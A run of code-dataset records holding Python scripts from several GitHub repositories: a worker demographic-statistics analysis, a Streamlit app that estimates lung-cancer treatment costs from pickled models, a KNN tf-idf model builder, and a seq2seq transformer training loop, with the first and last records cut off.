len(worker['annotatedFrames']) >= 100:\n                freqWorkersWDemographics.add(worker['id'])\n                frequentWorkerDemographicStats['race'] += 1\n\n        if worker['gender'] != 'unknown':\n\n            workerDemographicStats['gender'] += 1\n            if len(worker['annotatedFrames']) >= 100:\n                freqWorkersWDemographics.add(worker['id'])\n                frequentWorkerDemographicStats['gender'] += 1\n\n        if worker['mediaConsumptionRegimen'] is not None and len(worker['mediaConsumptionRegimen']) > 0:\n\n            workerDemographicStats['mediaConsumptionRegimen'] += 1\n            if len(worker['annotatedFrames']) >= 100:\n                freqWorkersWDemographics.add(worker['id'])\n                frequentWorkerDemographicStats['mediaConsumptionRegimen'] += 1\n\n    freqWorkersWithoutDemographics = [worker['id'] for worker in workers if\n                                      len(worker['annotatedFrames']) >= 100 and worker[\n                                          'id'] not in freqWorkersWDemographics]\n    print(workerDemographicStats)\n    print('------------------')\n    print(frequentWorkerDemographicStats)\n    print('------------------')\n    print(freqWorkersWDemographics)\n    print('------------------')\n    print(freqWorkersWithoutDemographics)\n\n\ndef printDemographicWorkerStats():\n    testData = loadObjectsFromJsonFile('/local2/ashkank/perception/data/trajectories/leaveoneout/test_trajectories.json')\n    # testData = loadObjectsFromJsonFile('../data/trajectories/leaveoneout/test_trajectories.json')\n    workerDemographics = {}\n    for dp in testData:\n        workerId = DemographicUtils.extractWorkerId(dp['X'])\n        if workerId not in workerDemographics:\n            workerDemographics[workerId] = DemographicUtils.extractHeader(dp['X'])\n        else:\n            continue\n\n    for workerId, header in workerDemographics.items():\n        print(header)\n        print(f'test data points: {len([dp for dp in testData if DemographicUtils.extractWorkerId(dp[\"X\"]) == workerId])}')\n        print('------------------')\n\n\nif __name__ == '__main__':\n    # analyseMRFWorkerStats()\n    printDemographicWorkerStats()", "repo_name": "ashkankzme/perception", "sub_path": "src/mrf_analysis.py", "file_name": "mrf_analysis.py", "file_ext": "py", "file_size_in_byte": 3938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.loadObjectsFromJsonFile", "line_number": 9, "usage_type": "call"}, {"api_name": "utils.loadObjectsFromJsonFile", "line_number": 81, "usage_type": "call"}, {"api_name": "demographic_utils.DemographicUtils.extractWorkerId", "line_number": 85, "usage_type": "call"}, {"api_name": "demographic_utils.DemographicUtils", "line_number": 85, "usage_type": "name"}, {"api_name": "demographic_utils.DemographicUtils.extractHeader", "line_number": 87, "usage_type": "call"}, {"api_name": "demographic_utils.DemographicUtils", "line_number": 87, "usage_type": "name"}, {"api_name": "demographic_utils.DemographicUtils.extractWorkerId", "line_number": 93, "usage_type": "call"}, {"api_name": "demographic_utils.DemographicUtils", "line_number": 93, "usage_type": "name"}]}
{"seq_id": "29900113109", "text": "import streamlit as st\nimport pickle\nimport os\nimport pandas as pd\nimport numpy as np\n\nROOT_DIR = os.getcwd()\nSAVED_DIR_PATH = \"saved_models\"\nSAVED_ZERO_FILE=\"0\"\nMODEL_FILE_DIR =\"model\"\nMODEL_FILE_NAME = \"model.pkl\"\nTRANSFORMER_FILE_DIR=\"transformer\"\nTRANSFORMER_FILE_NAME=\"transformer.pkl\"\n# TARGET_ENCODER_FILE_DIR=\"target_encoder\"\n# TARGET_ENCODER_FILE_NAME=\"target_encoder.pkl\"\n\nMODEL_DIR = os.path.join(ROOT_DIR, SAVED_DIR_PATH,SAVED_ZERO_FILE,MODEL_FILE_DIR,MODEL_FILE_NAME)\n# print(\"MODEL_PATH:-\",MODEL_DIR)\n\nTRANSFORMER_DIR= os.path.join(ROOT_DIR, SAVED_DIR_PATH,SAVED_ZERO_FILE,TRANSFORMER_FILE_DIR,TRANSFORMER_FILE_NAME)\n# print(\"TRANSFORMER_PATH:-\",TRANSFORMER_DIR)\n\n# TARGET_ENCODER_DIR= os.path.join(ROOT_DIR, SAVED_DIR_PATH,SAVED_ZERO_FILE,TARGET_ENCODER_FILE_DIR,TARGET_ENCODER_FILE_NAME)\n# print(\"TARGET_ENCODER_PATH:-\",TARGET_ENCODER_DIR)\n\n# Load the Model.pkl, Transformer.pkl and Target.pkl\nmodel=pickle.load(open(MODEL_DIR,\"rb\"))\n# print(model)\ntransfomer=pickle.load(open(TRANSFORMER_DIR,\"rb\"))\n# print(transfomer)\n\n\n\n# About page\ndef about_page():\n    st.title('Predicting the Financial Burden of Lung Cancer')\n    st.write('The project aims to develop a predictive model that estimates the annual out-of-pocket costs for patients diagnosed with Stage 3&4 lung cancer. By considering factors such as age, comorbidities, and primary insurance, the model will enable patients to proactively plan for future financial burdens associated with their diagnosis. The ultimate goal is to alleviate the financial stress and reduce the likelihood of personal bankruptcy that over 40% of cancer patients experience within four years of diagnosis.')\n    \ndef visualization_page():...\n\n\n# Main prediction page\ndef prediction_page():\n    # Title and input fields\n    st.title('Predicting the Financial Burden of Lung Cancer')\n    st.subheader('Patient Information')\n    AGE = st.number_input('Age', min_value=0, max_value=120, value=30)\n    SEX = st.selectbox('Gender', ('Male', 'Female', 'Other'))\n    RACE = st.selectbox('Race', ('Black', 'Other', 'White', 'Hispanic', 'Native American', 'Asian or Pacific Islander'))\n    HOSPID = st.text_input('Hospital ID')\n    NCHRONIC = st.selectbox('Numbder of Chronic Diseases', ('1', '2'))\n    ZIPINC_QRTL = st.selectbox('Income Level to ZIP code', ('1', '2', '3'))\n    NPR = st.number_input('Net Patient Revenue')\n    # Add input fields for other features as needed\n    \n    # Hospital and Insurance Information\n    st.subheader('Hospital and Insurance Information')\n    DRG= st.selectbox('Diagnosis Related Group', ('ICD-10-CM', 'ICD-10-CM/PCS', 'ICD-9-CM', 'ICD-10-PCS'))\n    DXn = st.selectbox('Level of disease diagnosis', ('3', '4'))\n    CM_DRUG = st.selectbox('Drug Intake', ('current', 'never', 'former'))\n    PAY1 = st.selectbox('Payment Method', ('Medicare', 'Medicaid', 'Private including HMO', 'Self-Pay', 'No charge', 'Other'))\n    PAY2 = st.selectbox('Insurance Company', ('COBRA Coverage', 'Secondary Health Insurance', 'Employer-Sponsored Plans', 'Government Programs', 'NONE'))\n\n    # Checkbox for presence of medical conditions\n    st.subheader('Medical Conditions')\n    CM_AIDS = st.checkbox('AIDS')\n    CM_ALCOHOL = st.checkbox('Alcohol Consumption')\n    CM_ANEMDEF = st.checkbox('Congenital Monosomy with Anemia and Defects')\n    CM_ARTH = st.checkbox('Arthritis')\n    CM_BLDLOSS = st.checkbox('Blood Loss')\n    CM_CHF = st.checkbox('Congestive Heart Failure')\n    TRAN_IN= st.selectbox('Transfer patient In', ('Transferred from acute care hospital', 'Not a transfer', 'Transferred from another health facility', 'Transferred from '))\n    TRAN_OUT = st.selectbox('Transfer patient Out', ('Not a transfer', 'Transferred out to acute care hospital', 'Transferred out to another health facility'))\n    \n     \n    # Prediction button\n    if st.button('Predict'):\n        # Preprocess the input features\n        input_data = {\n            'AGE': [AGE],\n            'SEX': [SEX],\n            'RACE': [RACE],\n            'HOSPID':[HOSPID],\n            'NCHRONIC':[NCHRONIC],\n            'ZIPINC_QRTL':[ZIPINC_QRTL],\n            'NPR':[NPR],\n            'DRG':[DRG],\n            'DXn':[DXn],\n            'CM_DRUG':[CM_DRUG],\n            'PAY1':[PAY1],\n            'PAY2':[PAY2],\n            'CM_AIDS': ['yes' if CM_AIDS else 'no'],\n            'CM_ALCOHOL': ['yes' if CM_ALCOHOL else 'no'],\n            'CM_ANEMDEF': ['yes' if CM_ANEMDEF else 'no'],\n            'CM_ARTH': ['yes' if CM_ARTH else 'no'],\n            'CM_BLDLOSS': ['yes' if CM_BLDLOSS else 'no'],\n            'CM_CHF': ['yes' if CM_CHF else 'no'],\n            'TRAN_IN':[TRAN_IN],\n            'TRAN_OUT':[TRAN_OUT]     \n        }\n        # Convert input data to a Pandas DataFrame\n        input_df = pd.DataFrame(input_data)\n        # Perform the transformation using the loaded transformer\n        transformed_data = transfomer.transform(input_df)\n        # Reshape the transformed data as a NumPy array\n        input_arr = np.array(transformed_data)\n        \n\n        # Make the prediction using the loaded model\n        prediction = model.predict(input_arr)\n        st.subheader('Prediction')\n        st.write(f'The predicted total charge is: {prediction[0]:.2f}')\n\n# Teams page\ndef collaborators_page():\n    st.title('Predicting the Financial Burden of Lung Cancer')\n    st.write('Meet our awesome team members:')\n    st.write('- Team Member 1')\n    st.write('- Team Member 2')\n    st.write('- Team Member 3')\n    # Add more team members as needed\n\n# Create a dictionary with page names and their corresponding functions\npages = {\n    'About': about_page,\n    'Visualization ':visualization_page, \n    'Prediction': prediction_page,\n    'Collaborators': collaborators_page,\n}\n\n# Streamlit application\ndef main():\n    # Sidebar navigation\n    st.sidebar.title('Navigation')\n    selected_page = st.sidebar.radio('Go to', list(pages.keys()))\n\n    # Display the selected page content\n    pages[selected_page]()\n\n# Run the Streamlit application\nif __name__ == '__main__':\n    main()", "repo_name": "Milind-Shende/Iryss", "sub_path": "Iryss_app.py", "file_name": "Iryss_app.py", "file_ext": "py", "file_size_in_byte": 6010, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "os.getcwd", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 27, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 45, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 52, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 53, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 58, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 59, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 65, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 66, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 67, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 68, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 69, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 70, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 71, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 72, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 111, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 112, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 116, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 117, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 118, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 119, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 120, "usage_type": "call"}, {"api_name": "streamlit.sidebar.title", "line_number": 134, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 134, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.radio", "line_number": 135, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 135, "usage_type": "attribute"}]}
{"seq_id": "44203623272", "text": "import sys\r\nimport json\r\nimport os\r\nfrom nltk.tokenize import word_tokenize\r\nimport nltk\r\nfrom nltk.corpus import stopwords\r\nimport unicodedata\r\nimport string\r\nimport math\r\nimport time\r\nimport csv\r\nimport collections\r\nfrom collections import defaultdict\r\nnltk.download('punkt')\r\nLABELS_DIC = [\"business\" ,\"entertainment\" ,\"politics\" ,\"sport\" ,\"tech\"]\r\n\r\n'''\r\nremove punctuaionos for a string\r\ntokenization and normalization for a string\r\nkeep apart of punctuations with in string\r\nreturn a string of all text in the document\r\n'''\r\ndef preprocess(text):\r\n    # remove punctuations\r\n    text = word_tokenize(text.lower())\r\n    handel_digit = []\r\n    for atoken in text:\r\n        for char in atoken:\r\n            if char.isalpha() or char.isdigit():\r\n                handel_digit.append(atoken.strip(string.punctuation))\r\n                break\r\n    # stemmed = [nltk.PorterStemmer().stem(token) for token in handel_digit]\r\n    return handel_digit # stemmed\r\n\r\n\r\n'''\r\n    convert all tokens into integer \r\n    load the input json file which follows the format a list of {\"category\": astring, \"text\": astring}\r\n    token2id: a dictionary have tokens as key and its corresponding integer as value\r\n    and id2token: a dictionary have integer as key and its corresponding token as value\r\n'''\r\ndef build_vocab(path1):\r\n    # corpus: a list of {\"category\": astring, \"text\": astring}\r\n    f1 = open(path1)\r\n    corpus = json.load(f1)\r\n    _token2id = {}\r\n    _id_count = 0\r\n    for each_doc in corpus:\r\n        text = each_doc[\"text\"]\r\n        for token in preprocess(text):\r\n            if token not in _token2id:\r\n                _token2id[token] = _id_count\r\n                _id_count += 1\r\n\r\n    _id2token = {v: k for k, v in _token2id.items()}\r\n    return _token2id, _id2token\r\n'''\r\nrepresent all training documents as vector of tf*idf based on ltn.\r\nremove 0 for each vector and write the output to a tsv file.\r\n'''\r\ndef train(path1, token2id, id2token, path2):\r\n    if not os.path.exists(path1):\r\n        return 0\r\n    f1 = open(path1)\r\n    # corpus: a list of {\"category\": astring, \"text\": astring}\r\n    corpus = json.load(f1)\r\n    train_corpus = corpus\r\n    training_data = []\r\n    training_label = []\r\n    N_documents = len(train_corpus)\r\n    num_terms = len(token2id)\r\n    # X_tf_dataset =[[0 for _ in range(num_terms)] for _ in range(N_documents)]\r\n    X_tf_dataset = defaultdict(lambda: defaultdict(lambda: 0))\r\n\r\n    df_dict = defaultdict(set)\r\n    # load all training documents and save them as training_data and training_label respectively\r\n    # compute tf for each term in each document and save tf in X_tf_dataset\r\n    # compute df for each term and save df in  df_dict[term]\r\n    # compute idx for each term\r\n    idf_dic = defaultdict(float)\r\n    for doc_idx, doc in enumerate(train_corpus):\r\n        label = doc[\"category\"]\r\n        long_string = doc[\"text\"]\r\n        training_data.append(long_string)\r\n        training_label.append(label)\r\n        for token in preprocess(long_string):\r\n            i = token2id[token]\r\n            X_tf_dataset[doc_idx][i] += 1\r\n            df_dict[token].add(doc_idx)\r\n\r\n    for token in token2id.keys():\r\n        idf_dic[token] = math.log10(N_documents / len(df_dict[token]))\r\n\r\n    # use 1+logtf to compute tf\r\n    # compute weights for each term in each doc by ltn\r\n    # represent each documents by vectors of weights\r\n    # X_train_dataset = [[0 for _ in range(num_terms)] for _ in range(N_documents)]\r\n    X_train_dataset = defaultdict(lambda: defaultdict(lambda: 0))\r\n\r\n    for i in range(len(train_corpus)):\r\n        for j in X_tf_dataset[i].keys():\r\n            X_train_dataset[i][j] = (1 + math.log10(X_tf_dataset[i][j]))*idf_dic[id2token[j]]\r\n\r\n    # write idf of each term and document vectors in to tsv file\r\n    with open(path2, \"wt\") as knn_file:\r\n        tsv_writer = csv.writer(knn_file, delimiter=\"\\t\")\r\n        tsv_writer.writerow(['idf/vector', \"term\", \"idf value/vector\"])\r\n        for token in idf_dic:\r\n            line = [\"idf\", token, idf_dic[token]]\r\n            tsv_writer.writerow(line)\r\n\r\n        for doc_id in X_train_dataset.keys():\r\n            vector = [id2token[token_id] + \",\" + str(X_train_dataset[doc_id][token_id]) for token_id in X_train_dataset[doc_id].keys()]\r\n            string_vector = \" \".join(vector)\r\n            line = [\"vector\", training_label[doc_id], string_vector]\r\n            tsv_writer.writerow(line)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    if len(sys.argv) == 3:\r\n\r\n        path1 = sys.argv[1]\r\n        path2 = sys.argv[2]\r\n\r\n        if not os.path.exists(path1):\r\n            sys.exit(\"No such file\\n\")\r\n        elif os.path.exists(path2):\r\n            confirmation = input(\"Write to existed file, enter y to overwrite: \\n\")\r\n            if confirmation != 'y':\r\n                sys.exit(\"Unable to write to existed file\")\r\n        time1 = time.time()\r\n\r\n        token2id, id2token = build_vocab(path1)\r\n        time0 = time.time()\r\n        train(path1, token2id, id2token, path2)\r\n        time2 = time.time()\r\n        print(\"build index successfully\")\r\n        print(\"time using: \", time2 - time1)\r\n    else:\r\n        sys.exit(\r\n            \"incorrect number of arguments:python3 ./knn/knn_create_model.py ./data/train.json ./bbc_model.tsv\")\r\n", "repo_name": "zqq66/ML_codebase", "sub_path": "KNN/knn_create_model.py", "file_name": "knn_create_model.py", "file_ext": "py", "file_size_in_byte": 5245, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.download", "line_number": 14, "usage_type": "call"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 25, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 30, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 66, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 73, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 75, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 80, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 92, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 98, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 102, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 106, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 120, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 122, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 130, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "time.time", "line_number": 134, "usage_type": "call"}, {"api_name": "time.time", "line_number": 136, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "6906625407", "text": "import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport time\nimport random\nfrom tqdm import tqdm\nimport pickle\nimport json\n\nfrom config import *\nimport utils.nn_utils as nn_utils\nfrom utils.nn_utils import batch_iter\nfrom utils.vocab import VocabEntry, Vocab\nfrom utils.log_utils import logWriter\n\nfrom utils.eval_utils import *\n# from dgl.data import DGLDataset\n# from dgl import save_graphs, load_graphs\n# from dgl.data.utils import makedirs, save_info, load_info\nfrom transformers import AdamW, get_linear_schedule_with_warmup\n\nfrom model.seq2seq import CopyTransformer\n\nmylogger = logWriter(my_config.save['log_path'])\n# mylogger.write_now_time()\nmylogger.write(my_config)\n\ndef set_seed(seed=36):\n    random.seed(seed)\n    os.environ['PYHTONHASHSEED'] = str(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True\n\n\ndef train_iter(dataset, model, optimizer, epoch):\n    model.train()\n    mylogger.write(\"start training...\")\n    bar = tqdm(total=len(dataset))\n    running_loss = 0.0\n    for batch_data in batch_iter(dataset, my_config.optimizer['bs'], True):\n        bar.update(my_config.optimizer['bs'])\n        # import pdb; pdb.set_trace()\n        # exit()\n        # inputs, labels = batch_data\n        inputs = [e[0] for e in batch_data]\n        labels = [e[1] for e in batch_data]\n        # zero the parameter gradients\n        optimizer.zero_grad()\n\n        # forward + backward + optimize\n        scores = model(inputs, labels)\n        \n        loss = -torch.sum(scores)\n        loss.backward()\n        # torch.nn.utils.clip_grad_norm_(\n        #     model.parameters(), my_config.optim['max_grad_norm'])\n\n        optimizer.step()\n        optimizer.zero_grad()\n        # scheduler.step()\n        running_loss += loss.item()\n        bar.set_description(\"epoch {} loss {}\".format(epoch, loss.item()))\n        # torch.cuda.empty_cache()\n\n    mylogger.write(\"epoch {} loss {}\".format(epoch, running_loss))\n\n\n\ndef test_iter(dataset, model, epoch, DEBUG = False, write_to_file = False):\n    if isinstance(model, torch.nn.DataParallel):\n        model = model.module\n    model.eval()\n    mylogger.write(\"start testing...\")\n    with torch.no_grad():\n        bar = tqdm(total=len(dataset))\n        running_loss = 0.0\n        all_labels = []\n        all_preds = []\n        all_inputs = []\n        for batch_data in batch_iter(dataset, my_config.optimizer['test_bs'], True):\n            bar.update(my_config.optimizer['test_bs'])\n            inputs = [e[0] for e in batch_data]\n            labels = [e[1] for e in batch_data]\n            for i,e in enumerate(inputs):\n                outs = model.sample(e, None,\n                                    max_len = my_config.sample['decode_max_time_step'], \n                                    sample_size = my_config.sample['sample_size'], \n                                    mode = my_config.sample['mode'])\n                all_inputs.append(e)\n                all_labels.append(labels[i])\n                all_preds.append(outs)\n            if DEBUG:\n                break # only test one batch\n        mylogger.write(\"Epoch \" + str(epoch) + \" test:\")\n        test_rst = corpus_test(all_labels, all_preds)\n        mylogger.write(test_rst)\n        mylogger.write(\"\\n\")\n        now_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n        if write_to_file:\n            with open(my_config.save['output_path'] + '_' + str(epoch) + str(now_time), 'w') as f:\n                for i, e in enumerate(all_labels):\n                    f.write(str(all_inputs[i]) + '\\n')\n                    f.write(str(e) + '\\n')\n                    f.write(str(all_preds[i]))\n                    f.write('\\n\\n')\n\n        mylogger.write('write to file : ' +\n                       my_config.save['output_path'] + '_' + str(epoch) + str(now_time))\n\n        if DEBUG:\n            for i,e in enumerate(all_labels): # for debug\n                mylogger.write(all_inputs[i])\n                mylogger.write(e)\n                mylogger.write(all_preds[i])\n            \n    \n    return test_rst\n\n\n        \ndef main(TRAIN = True):\n    set_seed(my_config.seed)\n\n    # load data\n    with open(my_config.data['train_path'],'r') as f:\n        train_data = json.load(f)\n        train_data = train_data['data']\n    with open(my_config.data['test_path'],'r') as f:\n        test_data = json.load(f)\n        test_data = test_data['data']\n    # with open(my_config.data['valid_path'],'r') as f:\n    #     valid_data = json.load(f)\n    # import pdb; pdb.set_trace()\n    train_data = [[e[4],e[0]] for e in train_data if len(e[4]) < my_config.data['max_src_len']]\n    test_data = [[e[4],e[0]] for e in test_data if len(e[4]) < my_config.data['max_src_len']]\n\n    # load vocab\n    with open(my_config.data['src_vocab_path'],'rb') as f:\n        src_vocab = pickle.load(f)\n    with open(my_config.data['tgt_vocab_path'],'rb') as f:\n        tgt_vocab = pickle.load(f)\n\n    mylogger.write(\"src_vocab: \" + str(src_vocab))\n    mylogger.write(\"tgt_vocab: \" + str(tgt_vocab))\n\n    # build model\n    if my_config.model['name'] == 'copy_transformer':\n        model = CopyTransformer(src_vocab, tgt_vocab, my_config.model['embed_size'], \n                                my_config.model['hidden_size'], my_config.model['nlayers'],\n                                my_config.use_cuda,\n                                my_config.model['dropout'], \n                                my_config.model['nhead'])\n        '''\n        (self, src_vocab, tgt_vocab, embedding_dim=256,\n                 hidden_size=2048, nlayers=8, use_cuda = True, dropout = 0.2,nhead=8):\n        '''\n    else:\n        raise ValueError(\"model name {} not supported\".format(my_config.model['name']))\n\n    mylogger.write(\"model: \" + str(model))\n\n    \n    \n    model.to(my_config.device)\n    model = torch.nn.DataParallel(model)\n\n    # load model\n\n    if my_config.load_model and os.path.exists(my_config.save['save_model_path']):\n        model.load_state_dict(torch.load(my_config.save['save_model_path']))\n        mylogger.write(\"load model from {}\".format(\n            my_config.save['save_model_path']))\n    \n    \n    # optimizer\n\n    no_decay = ['bias', 'LayerNorm.weight']\n    optimizer_grouped_parameters = [\n        {'params': [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)],\n         'weight_decay': my_config.optimizer['weight_decay']},\n        {'params': [p for n, p in model.named_parameters() if any(\n            nd in n for nd in no_decay)], 'weight_decay': 0.0}\n    ]\n    optimizer = AdamW(optimizer_grouped_parameters,\n                      lr=my_config.optimizer['lr'], eps=my_config.optimizer['adam_epsilon'])\n    \n    model.train()\n    model.zero_grad()\n\n    # choose loss function\n    # criterion = nn.CrossEntropyLoss()\n    # criterion = nn.MultiMarginLoss()\n\n    # loop over the dataset multiple times\n    max_acc = 0\n    \n    # debug gradients\n    # torch.autograd.set_detect_anomaly(True)\n    if TRAIN:\n        for epoch in range(my_config.optimizer['epochs']):\n            train_iter(train_data, model, optimizer, epoch)\n            torch.cuda.empty_cache()\n            test_iter(train_data[:1000], model, epoch, DEBUG= True)\n            torch.cuda.empty_cache()\n            # acc, loss = test_iter(dev_dataloader, model, criterion, epoch)\n            # write_log(csv_log,str(epoch)+','+str(acc)+','+str(loss)+'\\n')\n            # torch.cuda.empty_cache()\n            test_iter(test_data, model, epoch, DEBUG = False, write_to_file=True)\n            torch.cuda.empty_cache()\n            if my_config.save_model:\n                torch.save(model.state_dict(), my_config.save['save_model_path'] + '_' + str(epoch))\n                # if acc > max_acc:\n                    # max_acc = acc\n                    # torch.save(model.state_dict(), my_config.path['save'] + '/model.pt')\n        mylogger.write('Finished Training')\n\n    else:\n        mylogger.write('Only Testing...')\n        test_iter(test_data[:100], model, 2021, DEBUG = False, write_to_file=True)\n\n\n    \n    \nif __name__ == '__main__':\n    main(TRAIN = True)\n", "repo_name": "zkcpku/HGT-HPG", "sub_path": "main_forCSN.py", "file_name": "main_forCSN.py", "file_ext": "py", "file_size_in_byte": 8190, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "utils.log_utils.logWriter", "line_number": 27, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 32, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 37, "usage_type": "attribute"}, {"api_name": "model.seq2seq.train", "line_number": 41, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 41, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 43, "usage_type": "call"}, {"api_name": "utils.nn_utils.batch_iter", "line_number": 45, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 58, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 75, "usage_type": "argument"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "attribute"}, {"api_name": "model.seq2seq", "line_number": 76, "usage_type": "name"}, {"api_name": "model.seq2seq.module", "line_number": 76, "usage_type": "attribute"}, {"api_name": "model.seq2seq.eval", "line_number": 77, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 79, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.nn_utils.batch_iter", "line_number": 85, "usage_type": "call"}, {"api_name": "model.seq2seq.sample", "line_number": 90, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 90, "usage_type": "name"}, {"api_name": "time.strftime", "line_number": 103, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 103, "usage_type": "call"}, {"api_name": "json.load", "line_number": 131, "usage_type": "call"}, {"api_name": "json.load", "line_number": 134, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 144, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 146, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 153, "usage_type": "name"}, {"api_name": "model.seq2seq.CopyTransformer", "line_number": 153, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 165, "usage_type": "argument"}, {"api_name": "model.seq2seq.to", "line_number": 169, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 169, "usage_type": "name"}, {"api_name": "model.seq2seq", "line_number": 170, "usage_type": "name"}, {"api_name": "torch.nn.DataParallel", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "model.seq2seq.load_state_dict", "line_number": 175, "usage_type": "call"}, {"api_name": "model.seq2seq", "line_number": 175, "usage_type": "name"}, 